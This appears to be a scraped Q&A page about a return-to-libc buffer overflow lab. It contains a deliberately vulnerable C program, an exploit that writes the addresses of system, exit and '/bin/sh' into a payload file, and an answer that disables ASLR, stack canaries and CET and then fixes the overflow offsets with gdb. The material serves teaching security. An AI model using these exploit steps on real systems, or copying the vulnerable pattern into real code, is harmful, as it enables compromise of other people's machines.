返回 libc 缓冲区溢出攻击

Question

I tried to make a return to libc buffer overflow. I found all the addresses for system, exit and /bin/sh, I don't know why, but when I try to run the vulnerable program nothing happens. system, exit address /bin/sh address

Vulnerable program:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#ifndef BUF_SIZE
#define BUF_SIZE 12
#endif

int bof(FILE* badfile)
{
    char buffer[BUF_SIZE];

    fread(buffer, sizeof(char), 300, badfile);

    return 1;
}


int main(int argc, char** argv)
{
    FILE* badfile;

    char dummy[BUF_SIZE * 5];

    badfile = fopen("badfile", "r");
    bof(badfile);

    printf("Return properly.\n");

    fclose(badfile);

    return 1;
}

Exploit program:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
    char buf[40];
    FILE* badfile;

    badfile = fopen("./badfile", "w");

    *(long *) &buf[24] = 0xbffffe1e; // /bin/sh
    *(long *) &buf[20] = 0xb7e369d0; // exit
    *(long *) &buf[16] = 0xb7e42da0; // system

    fwrite(buf, sizeof(buf), 1, badfile);
    fclose(badfile);

    return 1;
}

And this is the program that I use to find MYSHELL address(for /bin/sh)

#include <stdio.h>

void main()
{
    char* shell = getenv("MYSHELL");
    if(shell)
        printf("%x\n", (unsigned int) shell);
}

Terminal: Terminal image after run retlib

Answer 1

First, there are a number of mitigations that might be deployed to prevent this attack. You need to disable each one:

• ASLR : You have already disabled with sudo sysctl -w kernel.randomize_va_space=0 . But a better option is to disable it only for one shell and its children: setarch $(uname -m) -R /bin/bash .
• Stack protector : The compiler can place stack canaries between the buffer and the return address on the stack, write a value into it before the buffer write operation is executed, and then just before returning, verify that it has not been changed by the buffer write operation. This can be disabled with -fno-stack-protector .
• Shadow stack : Newer processors might have a shadow stack feature (Intel CET) that when calling a function, stashes a copy of the return address away from the writable memory, which is checked against the return address when returning from the current function. This (and some other CET protections) can disabled with -fcf-protection=none .

The question does not mention it, but the addresses used in the code (along with use of long ) indicate that a 32-bit system is targeted. If the system used is 64-bit, -m32 needs to be added to the compiler flags:

gcc -fno-stack-protector -fcf-protection=none -m32 vulnerable.c

When determining the environment variable address from one binary and using it in another, it is really important that their environment variables and invocation from shell are identical (at least in length). If one is executed as a.out , the other should also be executed as a.out . One being in a different path, having a different argv will move the environment variable.

Alternatively, you can print the address of the environment variable from within the vulnerable binary.

By looking at the disassembly of bof function, the distance between the buffer and the return address can be determined:

(gdb) disassemble bof 
Dump of assembler code for function bof:
   0x565561dd <+0>:     push   %ebp
   0x565561de <+1>:     mov    %esp,%ebp
   0x565561e0 <+3>:     push   %ebx
   0x565561e1 <+4>:     sub    $0x14,%esp
   0x565561e4 <+7>:     call   0x56556286 <__x86.get_pc_thunk.ax>
   0x565561e9 <+12>:    add    $0x2de3,%eax
   0x565561ee <+17>:    pushl  0x8(%ebp)
   0x565561f1 <+20>:    push   $0x12c
   0x565561f6 <+25>:    push   $0x1
   0x565561f8 <+27>:    lea    -0x14(%ebp),%edx
   0x565561fb <+30>:    push   %edx
   0x565561fc <+31>:    mov    %eax,%ebx
   0x565561fe <+33>:    call   0x56556050 <fread@plt>
   0x56556203 <+38>:    add    $0x10,%esp
   0x56556206 <+41>:    mov    $0x1,%eax
   0x5655620b <+46>:    mov    -0x4(%ebp),%ebx
   0x5655620e <+49>:    leave  
   0x5655620f <+50>:    ret    
End of assembler dump.

Note that -0x14(%ebp) is used as the first parameter to fread , which is the buffer that will be overflowed. Also note that ebp was the value of esp just after pushing ebp in the first instruction. So, ebp points to the saved ebp , which is followed by the return address. That means from the start of the buffer, saved ebp is 20 bytes away, and return address is 24 bytes away.

    *(long *) &buf[32] = ...; // /bin/sh
    *(long *) &buf[28] = ...; // exit
    *(long *) &buf[24] = ...; // system

With these changes, the shell is executed by the vulnerable binary:

$ ps
    PID TTY          TIME CMD
1664961 pts/1    00:00:00 bash
1706389 pts/1    00:00:00 bash
1709328 pts/1    00:00:00 ps
$ ./a.out 
$ ps
    PID TTY          TIME CMD
1664961 pts/1    00:00:00 bash
1706389 pts/1    00:00:00 bash
1709329 pts/1    00:00:00 a.out
1709330 pts/1    00:00:00 sh
1709331 pts/1    00:00:00 sh
1709332 pts/1    00:00:00 ps
$